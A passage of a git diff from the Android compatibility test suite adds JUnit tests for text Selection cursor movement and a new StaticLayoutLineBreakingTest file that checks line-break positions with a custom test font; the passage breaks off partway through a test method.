+ CharSequence text = "aaa\nmm";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 1, 1);
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(5, Selection.getSelectionStart(builder));
+ assertEquals(5, Selection.getSelectionEnd(builder));
+
+ builder.insert(5, "mm");
+ layout = new StaticLayout(builder, new TextPaint(), 200, Layout.Alignment.ALIGN_NORMAL,
+ 0, 0, false);
+ assertEquals(7, Selection.getSelectionStart(builder));
+ assertEquals(7, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMoveUpKeepsOriginalMemoryPosition() {
+ CharSequence text = "aa\nm";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 1, 1);
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
public void testMoveDown() {
CharSequence text = "hello,world\nGoogle";
SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -313,6 +364,340 @@
}
@Test
+ public void testMoveDownAfterTyping() {
+ CharSequence text = "mm\naaa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 4, 4);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+
+ builder.insert(1, "mm");
+ layout = new StaticLayout(builder, new TextPaint(), 200, Layout.Alignment.ALIGN_NORMAL,
+ 0, 0, false);
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(8, Selection.getSelectionStart(builder));
+ assertEquals(8, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMoveDownKeepsOriginalMemoryPosition() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMemoryPositionResetByHorizontalMovement() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveRight(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveLeft(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMemoryPositionResetByRemoveSelection() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.removeSelection(builder);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMultilineLengthMoveDown() {
+ CharSequence text = "a\n\na";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 1);
+ // Move down to empty line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(2, Selection.getSelectionStart(builder));
+ assertEquals(2, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMultilineLengthExtendDown() {
+ CharSequence text = "Google\n\nhello, world";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 1, 3);
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(7, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(15, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(text.length(), Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testExtendDownKeepsOriginalMemoryPosition() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMultilineLengthMoveUp() {
+ CharSequence text = "a\n\na";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 4);
+ // Move up to empty line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(2, Selection.getSelectionStart(builder));
+ assertEquals(2, Selection.getSelectionEnd(builder));
+
+ // Move up to first line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMultilineLengthExtendUp() {
+ CharSequence text = "Google\n\nhello, world";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(0, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 9, 16);
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(9, Selection.getSelectionStart(builder));
+ assertEquals(7, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(9, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(9, Selection.getSelectionStart(builder));
+ assertEquals(0, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testExtendUpKeepsOriginalMemoryPosition() {
+ CharSequence text = "aa\nm";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 1, 1);
+ assertTrue(Selection.extendDown(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.extendUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMultilineLengthMoveDownAfterSelection() {
+ CharSequence text = "aaaaa\n\naaaaa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 3);
+ // Move down to empty line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 5);
+ // Move down to empty line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(5, Selection.getSelectionStart(builder));
+ assertEquals(5, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMultilineLengthMoveUpAfterSelection() {
+ CharSequence text = "aaaaa\n\naaaaa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 10);
+ // Move up to empty line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(10, Selection.getSelectionStart(builder));
+ assertEquals(10, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 12);
+ // Move up to empty line
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(6, Selection.getSelectionStart(builder));
+ assertEquals(6, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(12, Selection.getSelectionStart(builder));
+ assertEquals(12, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
public void testExtendSelection() {
CharSequence text = "hello, world";
SpannableStringBuilder builder = new SpannableStringBuilder(text);
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
new file mode 100644
index 0000000..adb8f97
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
@@ -0,0 +1,459 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;;
+import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
+import android.text.Layout.Alignment;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextDirectionHeuristics;
+import android.text.TextPaint;
+import android.text.style.MetricAffectingSpan;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StaticLayoutLineBreakingTest {
+ // Span test are currently not supported because text measurement uses the MeasuredText
+ // internal mWorkPaint instead of the provided MockTestPaint.
+ private static final boolean SPAN_TESTS_SUPPORTED = false;
+ private static final boolean DEBUG = false;
+
+ private static final float SPACE_MULTI = 1.0f;
+ private static final float SPACE_ADD = 0.0f;
+ private static final int WIDTH = 100;
+ private static final Alignment ALIGN = Alignment.ALIGN_NORMAL;
+
+ private static final char SURR_FIRST = '\uD800';
+ private static final char SURR_SECOND = '\uDF31';
+
+ private static final int[] NO_BREAK = new int[] {};
+
+ private static final TextPaint sTextPaint = new TextPaint();
+
+ static {
+ // The test font has following coverage and width.
+ // U+0020: 10em
+ // U+002E (.): 10em
+ // U+0043 (C): 100em
+ // U+0049 (I): 1em
+ // U+004C (L): 50em
+ // U+0056 (V): 5em
+ // U+0058 (X): 10em
+ // U+005F (_): 0em
+ // U+FFFD (invalid surrogate will be replaced to this): 7em
+ // U+10331 (\uD800\uDF31): 10em
+ Context context = InstrumentationRegistry.getTargetContext();
+ sTextPaint.setTypeface(Typeface.createFromAsset(context.getAssets(),
+ "fonts/StaticLayoutLineBreakingTestFont.ttf"));
+ sTextPaint.setTextSize(1.0f); // Make 1em == 1px.
+ }
+
+ private static StaticLayout getStaticLayout(CharSequence source, int width,
+ int breakStrategy) {
+ return StaticLayout.Builder.obtain(source, 0, source.length(), sTextPaint, width)
+ .setAlignment(ALIGN)
+ .setLineSpacing(SPACE_ADD, SPACE_MULTI)
+ .setIncludePad(false)
+ .setBreakStrategy(breakStrategy)
+ .build();
+ }
+
+ private static int[] getBreaks(CharSequence source) {
+ return getBreaks(source, WIDTH, Layout.BREAK_STRATEGY_SIMPLE);
+ }
+
+ private static int[] getBreaks(CharSequence source, int width, int breakStrategy) {
+ final StaticLayout staticLayout = getStaticLayout(source, width, breakStrategy);
+
+ final int[] breaks = new int[staticLayout.getLineCount() - 1];
+ for (int line = 0; line < breaks.length; line++) {
+ breaks[line] = staticLayout.getLineEnd(line);
+ }
+ return breaks;
+ }
+
+ private static void debugLayout(CharSequence source, StaticLayout staticLayout) {
+ if (DEBUG) {
+ int count = staticLayout.getLineCount();
+ Log.i("SLLBTest", "\"" + source.toString() + "\": "
+ + count + " lines");
+ for (int line = 0; line < count; line++) {
+ int lineStart = staticLayout.getLineStart(line);
+ int lineEnd = staticLayout.getLineEnd(line);
+ Log.i("SLLBTest", "Line " + line + " [" + lineStart + ".."
+ + lineEnd + "]\t" + source.subSequence(lineStart, lineEnd));
+ }
+ }
+ }
+
+ private static void layout(CharSequence source, int[] breaks) {
+ layout(source, breaks, WIDTH);
+ }
+
+ private static void layout(CharSequence source, int[] breaks, int width) {
+ final int[] breakStrategies = {Layout.BREAK_STRATEGY_SIMPLE,
+ Layout.BREAK_STRATEGY_HIGH_QUALITY};
+ for (int breakStrategy : breakStrategies) {
+ final StaticLayout staticLayout = getStaticLayout(source, width, breakStrategy);
+
+ debugLayout(source, staticLayout);
+
+ final int lineCount = breaks.length + 1;
+ assertEquals("Number of lines", lineCount, staticLayout.getLineCount());
+
+ for (int line = 0; line < lineCount; line++) {
+ final int lineStart = staticLayout.getLineStart(line);
+ final int lineEnd = staticLayout.getLineEnd(line);
+
+ if (line == 0) {
+ assertEquals("Line start for first line", 0, lineStart);
+ } else {
+ assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
+ }
+
+ if (line == lineCount - 1) {
+ assertEquals("Line end for last line", source.length(), lineEnd);
+ } else {
+ assertEquals("Line end for line " + line, breaks[line], lineEnd);
+ }
+ }
+ }
+ }
+
+ private static void layoutMaxLines(CharSequence source, int[] breaks, int maxLines) {
+ final StaticLayout staticLayout = StaticLayout.Builder
+ .obtain(source, 0, source.length(), sTextPaint, WIDTH)
+ .setAlignment(ALIGN)
+ .setTextDirection(TextDirectionHeuristics.LTR)
+ .setLineSpacing(SPACE_ADD, SPACE_MULTI)
+ .setIncludePad(false)
+ .setMaxLines(maxLines)
+ .build();
+
+ debugLayout(source, staticLayout);
+
+ final int lineCount = staticLayout.getLineCount();
+
+ for (int line = 0; line < lineCount; line++) {
+ int lineStart = staticLayout.getLineStart(line);
+ int lineEnd = staticLayout.getLineEnd(line);
+
+ if (line == 0) {
+ assertEquals("Line start for first line", 0, lineStart);
+ } else {
+ assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
+ }
+
+ if (line == lineCount - 1 && line != breaks.length - 1) {
+ assertEquals("Line end for last line", source.length(), lineEnd);
+ } else {
+ assertEquals("Line end for line " + line, breaks[line], lineEnd);
+ }
+ }
+ }
+
+ private static final int MAX_SPAN_COUNT = 10;
+ private static final int[] sSpanStarts = new int[MAX_SPAN_COUNT];
+ private static final int[] sSpanEnds = new int[MAX_SPAN_COUNT];
+
+ private static MetricAffectingSpan getMetricAffectingSpan() {
+ return new MetricAffectingSpan() {
+ @Override
+ public void updateDrawState(TextPaint tp) { /* empty */ }
+
+ @Override
+ public void updateMeasureState(TextPaint p) { /* empty */ }
+ };
+ }
+
+ /**
+ * Replaces the "<...>" blocks by spans, assuming non overlapping, correctly defined spans
+ * @param text
+ * @return A CharSequence with '<' '>' replaced by MetricAffectingSpan
+ */
+ private static CharSequence spanify(String text) {
+ int startIndex = text.indexOf('<');
+ if (startIndex < 0) return text;
+
+ int spanCount = 0;
+ do {
+ int endIndex = text.indexOf('>');
+ if (endIndex < 0) throw new IllegalArgumentException("Unbalanced span markers");
+
+ text = text.substring(0, startIndex) + text.substring(startIndex + 1, endIndex)
+ + text.substring(endIndex + 1);
+
+ sSpanStarts[spanCount] = startIndex;
+ sSpanEnds[spanCount] = endIndex - 2;
+ spanCount++;
+
+ startIndex = text.indexOf('<');
+ } while (startIndex >= 0);
+
+ SpannableStringBuilder result = new SpannableStringBuilder(text);
+ for (int i = 0; i < spanCount; i++) {
+ result.setSpan(getMetricAffectingSpan(), sSpanStarts[i], sSpanEnds[i],
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ }
+ return result;
+ }
+
+ @Test
+ public void testNoLineBreak() {
+ // Width lower than WIDTH
+ layout("", NO_BREAK);
+ layout("I", NO_BREAK);
+ layout("V", NO_BREAK);
+ layout("X", NO_BREAK);
+ layout("L", NO_BREAK);
+ layout("I VILI", NO_BREAK);
+ layout("XXXX", NO_BREAK);
+ layout("LXXXX", NO_BREAK);
+
+ // Width equal to WIDTH
+ layout("C", NO_BREAK);
+ layout("LL", NO_BREAK);
+ layout("L XXXX", NO_BREAK);
+ layout("XXXXXXXXXX", NO_BREAK);
+ layout("XXX XXXXXX", NO_BREAK);
+ layout("XXX XXXX X", NO_BREAK);
+ layout("XXX XXXXX ", NO_BREAK);
+ layout(" XXXXXXXX ", NO_BREAK);
+ layout(" XX XXX ", NO_BREAK);
+ // 0123456789
+
+ // Width greater than WIDTH, but no break
+ layout(" XX XXX ", NO_BREAK);
+ layout("XX XXX XXX ", NO_BREAK);
+ layout("XX XXX XXX ", NO_BREAK);
+ layout("XXXXXXXXXX ", NO_BREAK);
+ // 01234567890
+ }
+
+ @Test
+ public void testOneLineBreak() {
+ // 01234567890
+ layout("XX XXX XXXX", new int[] {7});
+ layout("XX XXXX XXX", new int[] {8});
+ layout("XX XXXXX XX", new int[] {9});
+ layout("XX XXXXXX X", new int[] {10});
+ // 01234567890
+ layout("XXXXXXXXXXX", new int[] {10});
+ layout("XXXXXXXXX X", new int[] {10});
+ layout("XXXXXXXX XX", new int[] {9});
+ layout("XXXXXXX XXX", new int[] {8});
+ layout("XXXXXX XXXX", new int[] {7});
+ // 01234567890
+ layout("LL LL", new int[] {3});
+ layout("LLLL", new int[] {2});
+ layout("C C", new int[] {2});
+ layout("CC", new int[] {1});
+ }
+
+ @Test
+ public void testSpaceAtBreak() {
+ // 0123456789012
+ layout("XXXX XXXXX X", new int[] {11});
+ layout("XXXXXXXXXX X", new int[] {11});
+ layout("XXXXXXXXXV X", new int[] {11});
+ layout("C X", new int[] {2});
+ }
+
+ @Test
+ public void testMultipleSpacesAtBreak() {
+ // 0123456789012
+ layout("LXX XXXX", new int[] {4});
+ layout("LXX XXXX", new int[] {5});
+ layout("LXX XXXX", new int[] {6});
+ layout("LXX XXXX", new int[] {7});
+ layout("LXX XXXX", new int[] {8});
+ }
+
+ @Test
+ public void testZeroWidthCharacters() {
+ // 0123456789012345678901234
+ layout("X_X_X_X_X_X_X_X_X_X", NO_BREAK);
+ layout("___X_X_X_X_X_X_X_X_X_X___", NO_BREAK);
+ layout("C_X", new int[] {2});
+ layout("C__X", new int[] {3});
+ }
+
+ /**
+ * Note that when the text has spans, StaticLayout does not use the provided TextPaint to
+ * measure text runs anymore. This is probably a bug.
+ * To be able to use the fake sTextPaint and make this test pass, use mPaint instead of
+ * mWorkPaint in MeasuredText#addStyleRun
+ */
+ @Test
+ public void testWithSpans() {
+ if (!SPAN_TESTS_SUPPORTED) return;
+
+ layout(spanify("<012 456 89>"), NO_BREAK);
+ layout(spanify("012 <456> 89"), NO_BREAK);
+ layout(spanify("<012> <456>< 89>"), NO_BREAK);
+ layout(spanify("<012> <456> <89>"), NO_BREAK);
+
+ layout(spanify("<012> <456> <89>012"), new int[] {8});
+ layout(spanify("<012> <456> 89<012>"), new int[] {8});
+ layout(spanify("<012> <456> <89><012>"), new int[] {8});
+ layout(spanify("<012> <456> 89 <123>"), new int[] {11});
+ layout(spanify("<012> <456> 89< 123>"), new int[] {11});
+ layout(spanify("<012> <456> <89> <123>"), new int[] {11});
+ layout(spanify("012 456 89 <LXX> XX XX"), new int[] {11, 18});
+ }
+
+ /*
+ * Adding a span to the string should not change the layout, since the metrics are unchanged.
+ */
+ @Test
+ public void testWithOneSpan() {
+ if (!SPAN_TESTS_SUPPORTED) return;
+
+ String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
+ "012 456 89012 456 89012", "0123456789012" };
+
+ MetricAffectingSpan metricAffectingSpan = getMetricAffectingSpan();
+
+ for (String text : texts) {
+ // Get the line breaks without any span
+ int[] breaks = getBreaks(text);
+
+ // Add spans on all possible offsets
+ for (int spanStart = 0; spanStart < text.length(); spanStart++) {
+ for (int spanEnd = spanStart; spanEnd < text.length(); spanEnd++) {
+ SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+ ssb.setSpan(metricAffectingSpan, spanStart, spanEnd,
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ layout(ssb, breaks);
+ }
+ }
+ }
+ }
+
+ @Test
+ public void testWithTwoSpans() {
+ if (!SPAN_TESTS_SUPPORTED) return;
+
+ String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
+ "012 456 89012 456 89012", "0123456789012" };
+
+ MetricAffectingSpan metricAffectingSpan1 = getMetricAffectingSpan();
+ MetricAffectingSpan metricAffectingSpan2 = getMetricAffectingSpan();
+
+ for (String text : texts) {
+ // Get the line breaks without any span
+ int[] breaks = getBreaks(text);
+
+ // Add spans on all possible offsets
+ for (int spanStart1 = 0; spanStart1 < text.length(); spanStart1++) {
+ for (int spanEnd1 = spanStart1; spanEnd1 < text.length(); spanEnd1++) {
+ SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+ ssb.setSpan(metricAffectingSpan1, spanStart1, spanEnd1,
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+
+ for (int spanStart2 = 0; spanStart2 < text.length(); spanStart2++) {
+ for (int spanEnd2 = spanStart2; spanEnd2 < text.length(); spanEnd2++) {
+ ssb.setSpan(metricAffectingSpan2, spanStart2, spanEnd2,
+ Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ layout(ssb, breaks);
+ }
+ }
+ }
+ }
+ }
+ }
+
+ public static String replace(String string, char c, char r) {
+ return string.replaceAll(String.valueOf(c), String.valueOf(r));
+ }
+
+ @Test
+ public void testWithSurrogate() {
+ layout("LX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
+ layout("LXXXX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
+ // LXXXXI (91) + SURR_FIRST + SURR_SECOND (10). Do not break in the middle point of
+ // surrogatge pair.
+ layout("LXXXXI" + SURR_FIRST + SURR_SECOND, new int[] {6});
+
+ // LXXXXI (91) + SURR_SECOND (replaced with REPLACEMENT CHARACTER. width is 7px) fits.
+ // Break just after invalid trailing surrogate.
+ layout("LXXXXI" + SURR_SECOND + SURR_FIRST, new int[] {7});
+
+ layout("C" + SURR_FIRST + SURR_SECOND, new int[] {1});
+ }
+
+ @Test
+ public void testNarrowWidth() {
+ int[] widths = new int[] { 0, 4, 10 };
